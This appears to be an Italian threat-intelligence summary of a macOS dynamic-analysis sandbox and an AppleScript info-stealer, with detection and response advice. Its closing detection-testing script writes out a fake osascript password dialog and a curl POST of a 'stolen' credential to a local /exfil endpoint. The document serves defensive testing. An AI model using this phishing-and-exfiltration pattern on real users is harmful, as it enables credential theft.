macOS Mirage: Analisi Dinamica e Rilevamenti Sigma per Apple Silicon

Sommario

VirusTotal ha introdotto macOS Mirage, un nuovo sandbox di analisi dinamica progettato specificamente per Apple Silicon (ARM64) e macOS 26. La piattaforma offre telemetria comportamentale ad alta fedeltà e rilevazioni automatizzate Sigma per identificare le minacce macOS in evoluzione, come info-stealer e malware di phishing delle credenziali. Affronta la transizione dai sistemi Intel agli ARM64 operando contro le moderne protezioni, inclusa la Protezione dell’Integrità del Sistema (SIP).

Indagine

Il rapporto analizza un campione di info-stealer per macOS, unix51436504, che utilizza AppleScript per il phishing e payload multi-stage per la persistenza e il furto di dati. I ricercatori hanno rintracciato il malware da un iniziale messaggio ingannevole di richiesta password attraverso la persistenza basata su LaunchDaemons e l’esfiltrazione di dati da Keychain, Safari e Apple Notes. Il sandbox ha mappato con successo questi comportamenti alle tecniche MITRE ATT&CK pertinenti utilizzando le regole Sigma.

Mitigazione

Sebbene non vengano delineate patch software specifiche, il rapporto sottolinea l’importanza di monitorare l’accesso non autorizzato a luoghi sensibili come i database Keychain, TCC.db e LaunchDaemons. Le organizzazioni dovrebbero rilevare l’uso sospetto di utility a riga di comando, inclusi osascript, curl e ditto, quando eseguite in contesti insoliti. È anche critico monitorare i modelli di esecuzione multi-stage e le modifiche inattese ai file in /tmp/ o nelle directory home degli utenti.

Risposta

Quando vengono rilevati questi comportamenti, i responsabili dovrebbero immediatamente isolare il dispositivo macOS interessato per evitare ulteriori esfiltrazioni di dati. Indagare sui meccanismi di persistenza, con particolare attenzione a /Library/LaunchDaemons e ai LaunchAgents a livello utente. Eseguire una revisione completa dei dati Keychain, delle credenziali del browser e delle chiavi SSH per possibili compromessi e reimpostare tutte le credenziali sensibili esposte.

Esecuzione di Simulazione

• Narrativa e Comandi d’Attacco: Un avversario mira a raccogliere le credenziali degli utenti presentando un dialogo di sistema convincente ma falso. L’attaccante utilizza osascript per attivare una finestra di dialogo su macOS. Per imitare la logica specifica della regola di rilevamento (che cerca un errore di battitura specifico ‘passwen’), lo script utilizzerà intenzionalmente quella stringa. Una volta che l’utente “invia” la falsa password, lo script utilizza curl per POSTare i dati catturati a un ascoltatore remoto, simulando la fase di esfiltrazione di un info-stealer.

• Script di Test di Regressione:

  #!/bin/bash
  # Simulazione di Phishing delle Credenziali Info-Stealer per macOS
  
  # 1. Attiva il falso dialogo (corrisponde a indicatore1 e indicatore2)
  # Nota: Utilizzando 'passwen' per attivare la logica specifica nella regola di rilevamento
  osascript -e 'set passwen to display dialog "Aggiornamento Sicurezza del Sistema: Inserisci la tua password macOS per continuare" default answer "" with icon caution'
  
  # 2. Simula l'esfiltrazione tramite curl (corrisponde a indicatore3)
  # Simuliamo l'invio della stringa "rubata" a un endpoint locale/remoto
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Simulazione completata. Controlla SIEM per avvisi."

• Comandi di Pulizia:

  # Nessun file permanente è stato creato durante questa simulazione.
  # Se fossero stati utilizzati file temporanei per l'organizzazione dei dati, verrebbero rimossi qui.
  rm -f /tmp/stolen_creds.txt